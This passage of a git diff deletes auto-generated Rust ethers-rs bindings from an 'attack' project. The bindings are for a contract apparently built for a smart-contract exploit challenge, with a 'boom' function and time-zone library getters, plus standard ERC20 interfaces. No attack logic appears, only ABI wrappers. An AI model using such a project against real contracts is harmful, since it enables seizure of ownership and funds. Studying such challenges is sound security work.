&self, - time: ::ethers::core::types::U256, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([59, 235, 38, 196], time) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `timeZone1Library` - /// (0x3dc79422) function - pub fn time_zone_1_library( - &self, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::Address, - > { - self.0 - .method_hash([61, 199, 148, 34], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `timeZone2Library` - /// (0x27d6974f) function - pub fn time_zone_2_library( - &self, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::Address, - > { - self.0 - .method_hash([39, 214, 151, 79], ()) - .expect("method not found (this should never happen)") - } - } - impl - From<::ethers::contract::Contract> - for IAmTrueLibraryContractPleaseBelieveMe - { - fn from(contract: ::ethers::contract::Contract) -> Self { - Self::new(contract.address(), contract.client()) - } - } - ///Container type for all input parameters for the - /// `boom` function with signature - /// `boom(address,address)` and selector `0x04faba3b` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "boom", abi = "boom(address,address)")] - pub struct BoomCall { - pub contr: ::ethers::core::types::Address, - pub own: ::ethers::core::types::Address, - } - ///Container type for all input parameters for the - /// `owner` function with signature `owner()` and - /// selector `0x8da5cb5b` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "owner", abi = "owner()")] - pub struct OwnerCall; - ///Container type for all input parameters for the - /// `setTime` function with signature `setTime(uint256)` - /// and selector `0x3beb26c4` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "setTime", abi = "setTime(uint256)")] - pub struct SetTimeCall { - pub time: ::ethers::core::types::U256, - } - ///Container type for all input parameters for the - /// `timeZone1Library` function with signature - /// `timeZone1Library()` and selector `0x3dc79422` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "timeZone1Library", abi = "timeZone1Library()")] - pub struct TimeZone1LibraryCall; - ///Container type for all input parameters for the - /// `timeZone2Library` function with signature - /// `timeZone2Library()` and selector `0x27d6974f` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "timeZone2Library", abi = "timeZone2Library()")] - pub struct TimeZone2LibraryCall; - ///Container type for all of the contract's call - #[derive( - Clone, ::ethers::contract::EthAbiType, Debug, PartialEq, Eq, Hash, - )] - pub enum IAmTrueLibraryContractPleaseBelieveMeCalls { - Boom(BoomCall), - Owner(OwnerCall), - SetTime(SetTimeCall), - TimeZone1Library(TimeZone1LibraryCall), - TimeZone2Library(TimeZone2LibraryCall), - } - impl ::ethers::core::abi::AbiDecode - for IAmTrueLibraryContractPleaseBelieveMeCalls - { - fn decode( - data: impl AsRef<[u8]>, - ) -> ::core::result::Result - { - let data = data.as_ref(); - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Boom(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Owner(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::SetTime(decoded)); - } - if let Ok(decoded) = - ::decode( - data, - ) - { - return Ok(Self::TimeZone1Library(decoded)); - } - if let Ok(decoded) = - ::decode( - data, - ) - { - return Ok(Self::TimeZone2Library(decoded)); - } - Err(::ethers::core::abi::Error::InvalidData.into()) - } - } - impl ::ethers::core::abi::AbiEncode - for IAmTrueLibraryContractPleaseBelieveMeCalls - { - fn encode(self) -> Vec { - match self { - Self::Boom(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Owner(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::SetTime(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::TimeZone1Library(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::TimeZone2Library(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - } - } - } - impl ::core::fmt::Display for IAmTrueLibraryContractPleaseBelieveMeCalls { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - match self { - Self::Boom(element) => ::core::fmt::Display::fmt(element, f), - Self::Owner(element) => ::core::fmt::Display::fmt(element, f), - Self::SetTime(element) => ::core::fmt::Display::fmt(element, f), - Self::TimeZone1Library(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::TimeZone2Library(element) => { - ::core::fmt::Display::fmt(element, f) - } - } - } - } - impl ::core::convert::From - for IAmTrueLibraryContractPleaseBelieveMeCalls - { - fn from(value: BoomCall) -> Self { Self::Boom(value) } - } - impl ::core::convert::From - for IAmTrueLibraryContractPleaseBelieveMeCalls - { - fn from(value: OwnerCall) -> Self { Self::Owner(value) } - } - impl ::core::convert::From - for IAmTrueLibraryContractPleaseBelieveMeCalls - { - fn from(value: SetTimeCall) -> Self { Self::SetTime(value) } - } - impl ::core::convert::From - for IAmTrueLibraryContractPleaseBelieveMeCalls - { - fn from(value: TimeZone1LibraryCall) -> Self { - Self::TimeZone1Library(value) - } - } - impl ::core::convert::From - for IAmTrueLibraryContractPleaseBelieveMeCalls - { - fn from(value: TimeZone2LibraryCall) -> Self { - Self::TimeZone2Library(value) - } - } - ///Container type for all return fields from the - /// `owner` function with signature `owner()` and - /// selector `0x8da5cb5b` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct OwnerReturn(pub ::ethers::core::types::Address); - ///Container type for all return fields from the - /// `timeZone1Library` function with signature - /// `timeZone1Library()` and selector `0x3dc79422` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct TimeZone1LibraryReturn(pub ::ethers::core::types::Address); - ///Container type for all return fields from the - /// `timeZone2Library` function with signature - /// `timeZone2Library()` and selector `0x27d6974f` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct TimeZone2LibraryReturn(pub ::ethers::core::types::Address); -} diff --git a/attack/src/abi/ierc20.rs b/attack/src/abi/ierc20.rs deleted file mode 100644 index c69db1b..0000000 --- a/attack/src/abi/ierc20.rs +++ /dev/null @@ -1,838 +0,0 @@ -pub use ierc20::*; -/// This module was auto-generated with ethers-rs Abigen. -/// More information at: -#[allow( - clippy::enum_variant_names, - clippy::too_many_arguments, - clippy::upper_case_acronyms, - clippy::type_complexity, - dead_code, - non_camel_case_types -)] -pub mod ierc20 { - #[allow(deprecated)] - fn __abi() -> ::ethers::core::abi::Abi { - ::ethers::core::abi::ethabi::Contract { - constructor: ::core::option::Option::None, - functions: ::core::convert::From::from([ - ( - ::std::borrow::ToOwned::to_owned("allowance"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("allowance"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("owner"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("spender"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("approve"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("approve"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("spender"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("amount"), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Bool, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("bool"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("balanceOf"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("balanceOf"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("account"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("totalSupply"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("totalSupply"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("transfer"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("transfer"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("to"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("amount"), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Bool, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("bool"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("transferFrom"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("transferFrom"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("from"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("to"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("amount"), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Bool, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("bool"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, - }, - ], - ), - ]), - events: ::core::convert::From::from([ - ( - ::std::borrow::ToOwned::to_owned("Approval"), - ::std::vec![ - ::ethers::core::abi::ethabi::Event { - name: ::std::borrow::ToOwned::to_owned("Approval"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::EventParam { - name: ::std::borrow::ToOwned::to_owned("owner"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - indexed: true, - }, - ::ethers::core::abi::ethabi::EventParam { - name: ::std::borrow::ToOwned::to_owned("spender"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - indexed: true, - }, - ::ethers::core::abi::ethabi::EventParam { - name: ::std::borrow::ToOwned::to_owned("value"), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - indexed: false, - }, - ], - anonymous: false, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("Transfer"), - ::std::vec![ - ::ethers::core::abi::ethabi::Event { - name: ::std::borrow::ToOwned::to_owned("Transfer"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::EventParam { - name: ::std::borrow::ToOwned::to_owned("from"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - indexed: true, - }, - ::ethers::core::abi::ethabi::EventParam { - name: ::std::borrow::ToOwned::to_owned("to"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - indexed: true, - }, - ::ethers::core::abi::ethabi::EventParam { - name: ::std::borrow::ToOwned::to_owned("value"), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - indexed: false, - }, - ], - anonymous: false, - }, - ], - ), - ]), - errors: ::std::collections::BTreeMap::new(), - receive: false, - fallback: false, - } - } - ///The parsed JSON ABI of the contract. - pub static IERC20_ABI: ::ethers::contract::Lazy<::ethers::core::abi::Abi> = - ::ethers::contract::Lazy::new(__abi); - pub struct IERC20(::ethers::contract::Contract); - impl ::core::clone::Clone for IERC20 { - fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } - } - impl ::core::ops::Deref for IERC20 { - type Target = ::ethers::contract::Contract; - fn deref(&self) -> &Self::Target { &self.0 } - } - impl ::core::ops::DerefMut for IERC20 { - fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } - } - impl ::core::fmt::Debug for IERC20 { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - f.debug_tuple(::core::stringify!(IERC20)) - .field(&self.address()) - .finish() - } - } - impl IERC20 { - /// Creates a new contract instance with the - /// specified `ethers` client at `address`. - /// The contract derefs to a `ethers::Contract` - /// object. - pub fn new>( - address: T, - client: ::std::sync::Arc, - ) -> Self { - Self(::ethers::contract::Contract::new( - address.into(), - IERC20_ABI.clone(), - client, - )) - } - ///Calls the contract's `allowance` (0xdd62ed3e) - /// function - pub fn allowance( - &self, - owner: ::ethers::core::types::Address, - spender: ::ethers::core::types::Address, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::U256, - > { - self.0 - .method_hash([221, 98, 237, 62], (owner, spender)) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `approve` (0x095ea7b3) - /// function - pub fn approve( - &self, - spender: ::ethers::core::types::Address, - amount: ::ethers::core::types::U256, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([9, 94, 167, 179], (spender, amount)) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `balanceOf` (0x70a08231) - /// function - pub fn balance_of( - &self, - account: ::ethers::core::types::Address, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::U256, - > { - self.0 - .method_hash([112, 160, 130, 49], account) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `totalSupply` (0x18160ddd) - /// function - pub fn total_supply( - &self, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::U256, - > { - self.0 - .method_hash([24, 22, 13, 221], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `transfer` (0xa9059cbb) - /// function - pub fn transfer( - &self, - to: ::ethers::core::types::Address, - amount: ::ethers::core::types::U256, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([169, 5, 156, 187], (to, amount)) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `transferFrom` (0x23b872dd) - /// function - pub fn transfer_from( - &self, - from: ::ethers::core::types::Address, - to: ::ethers::core::types::Address, - amount: ::ethers::core::types::U256, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([35, 184, 114, 221], (from, to, amount)) - .expect("method not found (this should never happen)") - } - ///Gets the contract's `Approval` event - pub fn approval_filter( - &self, - ) -> ::ethers::contract::builders::Event< - ::std::sync::Arc, - M, - ApprovalFilter, - > { - self.0.event() - } - ///Gets the contract's `Transfer` event - pub fn transfer_filter( - &self, - ) -> ::ethers::contract::builders::Event< - ::std::sync::Arc, - M, - TransferFilter, - > { - self.0.event() - } - /// Returns an `Event` builder for all the events of - /// this contract. - pub fn events( - &self, - ) -> ::ethers::contract::builders::Event< - ::std::sync::Arc, - M, - IERC20Events, - > { - self.0.event_with_filter(::core::default::Default::default()) - } - } - impl - From<::ethers::contract::Contract> for IERC20 - { - fn from(contract: ::ethers::contract::Contract) -> Self { - Self::new(contract.address(), contract.client()) - } - } - #[derive( - Clone, - ::ethers::contract::EthEvent, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethevent(name = "Approval", abi = "Approval(address,address,uint256)")] - pub struct ApprovalFilter { - #[ethevent(indexed)] - pub owner: ::ethers::core::types::Address, - #[ethevent(indexed)] - pub spender: ::ethers::core::types::Address, - pub value: ::ethers::core::types::U256, - } - #[derive( - Clone, - ::ethers::contract::EthEvent, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethevent(name = "Transfer", abi = "Transfer(address,address,uint256)")] - pub struct TransferFilter { - #[ethevent(indexed)] - pub from: ::ethers::core::types::Address, - #[ethevent(indexed)] - pub to: ::ethers::core::types::Address, - pub value: ::ethers::core::types::U256, - } - ///Container type for all of the contract's events - #[derive( - Clone, ::ethers::contract::EthAbiType, Debug, PartialEq, Eq, Hash, - )] - pub enum IERC20Events { - ApprovalFilter(ApprovalFilter), - TransferFilter(TransferFilter), - } - impl ::ethers::contract::EthLogDecode for IERC20Events { - fn decode_log( - log: &::ethers::core::abi::RawLog, - ) -> ::core::result::Result { - if let Ok(decoded) = ApprovalFilter::decode_log(log) { - return Ok(IERC20Events::ApprovalFilter(decoded)); - } - if let Ok(decoded) = TransferFilter::decode_log(log) { - return Ok(IERC20Events::TransferFilter(decoded)); - } - Err(::ethers::core::abi::Error::InvalidData) - } - } - impl ::core::fmt::Display for IERC20Events { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - match self { - Self::ApprovalFilter(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::TransferFilter(element) => { - ::core::fmt::Display::fmt(element, f) - } - } - } - } - impl ::core::convert::From for IERC20Events { - fn from(value: ApprovalFilter) -> Self { Self::ApprovalFilter(value) } - } - impl ::core::convert::From for IERC20Events { - fn from(value: TransferFilter) -> Self { Self::TransferFilter(value) } - } - ///Container type for all input parameters for the - /// `allowance` function with signature - /// `allowance(address,address)` and selector - /// `0xdd62ed3e` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "allowance", abi = "allowance(address,address)")] - pub struct AllowanceCall { - pub owner: ::ethers::core::types::Address, - pub spender: ::ethers::core::types::Address, - } - ///Container type for all input parameters for the - /// `approve` function with signature - /// `approve(address,uint256)` and selector `0x095ea7b3` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "approve", abi = "approve(address,uint256)")] - pub struct ApproveCall { - pub spender: ::ethers::core::types::Address, - pub amount: ::ethers::core::types::U256, - } - ///Container type for all input parameters for the - /// `balanceOf` function with signature - /// `balanceOf(address)` and selector `0x70a08231` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "balanceOf", abi = "balanceOf(address)")] - pub struct BalanceOfCall { - pub account: ::ethers::core::types::Address, - } - ///Container type for all input parameters for the - /// `totalSupply` function with signature - /// `totalSupply()` and selector `0x18160ddd` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "totalSupply", abi = "totalSupply()")] - pub struct TotalSupplyCall; - ///Container type for all input parameters for the - /// `transfer` function with signature - /// `transfer(address,uint256)` and selector - /// `0xa9059cbb` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "transfer", abi = "transfer(address,uint256)")] - pub struct TransferCall { - pub to: ::ethers::core::types::Address, - pub amount: ::ethers::core::types::U256, - } - ///Container type for all input parameters for the - /// `transferFrom` function with signature - /// `transferFrom(address,address,uint256)` and selector - /// `0x23b872dd` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall( - name = "transferFrom", - abi = "transferFrom(address,address,uint256)" - )] - pub struct TransferFromCall { - pub from: ::ethers::core::types::Address, - pub to: ::ethers::core::types::Address, - pub amount: ::ethers::core::types::U256, - } - ///Container type for all of the contract's call - #[derive( - Clone, ::ethers::contract::EthAbiType, Debug, PartialEq, Eq, Hash, - )] - pub enum IERC20Calls { - Allowance(AllowanceCall), - Approve(ApproveCall), - BalanceOf(BalanceOfCall), - TotalSupply(TotalSupplyCall), - Transfer(TransferCall), - TransferFrom(TransferFromCall), - } - impl ::ethers::core::abi::AbiDecode for IERC20Calls { - fn decode( - data: impl AsRef<[u8]>, - ) -> ::core::result::Result - { - let data = data.as_ref(); - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Allowance(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Approve(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::BalanceOf(decoded)); - } - if let Ok(decoded) = - ::decode( - data, - ) - { - return Ok(Self::TotalSupply(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Transfer(decoded)); - } - if let Ok(decoded) = - ::decode( - data, - ) - { - return Ok(Self::TransferFrom(decoded)); - } - Err(::ethers::core::abi::Error::InvalidData.into()) - } - } - impl ::ethers::core::abi::AbiEncode for IERC20Calls { - fn encode(self) -> Vec { - match self { - Self::Allowance(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Approve(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::BalanceOf(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::TotalSupply(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Transfer(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::TransferFrom(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - } - } - } - impl ::core::fmt::Display for IERC20Calls { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - match self { - Self::Allowance(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::Approve(element) => ::core::fmt::Display::fmt(element, f), - Self::BalanceOf(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::TotalSupply(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::Transfer(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::TransferFrom(element) => { - ::core::fmt::Display::fmt(element, f) - } - } - } - } - impl ::core::convert::From for IERC20Calls { - fn from(value: AllowanceCall) -> Self { Self::Allowance(value) } - } - impl ::core::convert::From for IERC20Calls { - fn from(value: ApproveCall) -> Self { Self::Approve(value) } - } - impl ::core::convert::From for IERC20Calls { - fn from(value: BalanceOfCall) -> Self { Self::BalanceOf(value) } - } - impl ::core::convert::From for IERC20Calls { - fn from(value: TotalSupplyCall) -> Self { Self::TotalSupply(value) } - } - impl ::core::convert::From for IERC20Calls { - fn from(value: TransferCall) -> Self { Self::Transfer(value) } - } - impl ::core::convert::From for IERC20Calls { - fn from(value: TransferFromCall) -> Self { Self::TransferFrom(value) } - } - ///Container type for all return fields from the - /// `allowance` function with signature - /// `allowance(address,address)` and selector - /// `0xdd62ed3e` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct AllowanceReturn(pub ::ethers::core::types::U256); - ///Container type for all return fields from the - /// `approve` function with signature - /// `approve(address,uint256)` and selector `0x095ea7b3` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct ApproveReturn(pub bool); - ///Container type for all return fields from the - /// `balanceOf` function with signature - /// `balanceOf(address)` and selector `0x70a08231` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct BalanceOfReturn(pub ::ethers::core::types::U256); - ///Container type for all return fields from the - /// `totalSupply` function with signature - /// `totalSupply()` and selector `0x18160ddd` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct TotalSupplyReturn(pub ::ethers::core::types::U256); - ///Container type for all return fields from the - /// `transfer` function with signature - /// `transfer(address,uint256)` and selector - /// `0xa9059cbb` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct TransferReturn(pub bool); - ///Container type for all return fields from the - /// `transferFrom` function with signature - /// `transferFrom(address,address,uint256)` and selector - /// `0x23b872dd` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct TransferFromReturn(pub bool); -} diff --git a/attack/src/abi/ierc20_metadata.rs b/attack/src/abi/ierc20_metadata.rs deleted file mode 100644 index 19e5a8b..0000000 --- a/attack/src/abi/ierc20_metadata.rs +++ /dev/null @@ -1,1056 +0,0 @@ -pub use ierc20_metadata::*; -/// This module was auto-generated with ethers-rs Abigen. -/// More information at: -#[allow( - clippy::enum_variant_names, - clippy::too_many_arguments, - clippy::upper_case_acronyms, - clippy::type_complexity, - dead_code, - non_camel_case_types -)] -pub mod ierc20_metadata { - #[allow(deprecated)] - fn __abi() -> ::ethers::core::abi::Abi { - ::ethers::core::abi::ethabi::Contract { - constructor: ::core::option::Option::None, - functions: ::core::convert::From::from([ - ( - ::std::borrow::ToOwned::to_owned("allowance"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("allowance"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("owner"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("spender"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("approve"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("approve"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("spender"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("amount"), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: 